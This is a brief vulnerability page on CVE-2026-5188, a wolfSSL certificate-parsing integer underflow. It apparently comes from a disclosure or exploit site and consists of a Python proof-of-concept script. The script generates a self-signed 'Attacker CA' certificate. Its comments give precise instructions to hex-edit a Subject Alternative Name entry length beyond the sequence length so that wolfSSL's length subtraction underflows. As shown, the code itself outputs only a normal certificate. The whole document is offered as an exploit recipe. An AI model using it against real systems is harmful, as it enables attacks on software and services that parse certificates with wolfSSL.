CVE-2026-5188 wolfSSL证书解析整数下溢漏洞

# Proof of Concept (PoC) for CVE-2026-5188 # This script demonstrates the logic to create a malformed certificate. # It requires manual ASN.1 manipulation to trigger the underflow. from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes, serialization from cryptography.hazmat.primitives.asymmetric import rsa import datetime # 1. Generate RSA Key key = rsa.generate_private_key( public_exponent=65537, key_size=2048, ) # 2. Create Basic Certificate Structure subject = issuer = x509.Name([ x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"), x509.NameAttribute(NameOID.COMMON_NAME, u"Attacker CA"), ]) cert_builder = ( x509.CertificateBuilder() .subject_name(subject) .issuer_name(issuer) .public_key(key.public_key()) .serial_number(x509.random_serial_number()) .not_valid_before(datetime.datetime.utcnow()) .not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=30)) ) # 3. Sign Certificate # To exploit CVE-2026-5188, one would need to manually hex-edit the resulting PEM/DER file. # Specifically, find the SAN (Subject Alternative Name) extension and modify the length field # of an entry to be larger than the total length of the SAN sequence. # Example: If SAN sequence length is 0x20, set an internal entry length to 0x30. # This causes the 'len -= entry_len' operation in wolfSSL to underflow. cert = cert_builder.sign(key, hashes.SHA256()) print("Standard certificate generated. Manual hex editing required to trigger the underflow:") print(cert.public_bytes(serialization.Encoding.PEM).decode())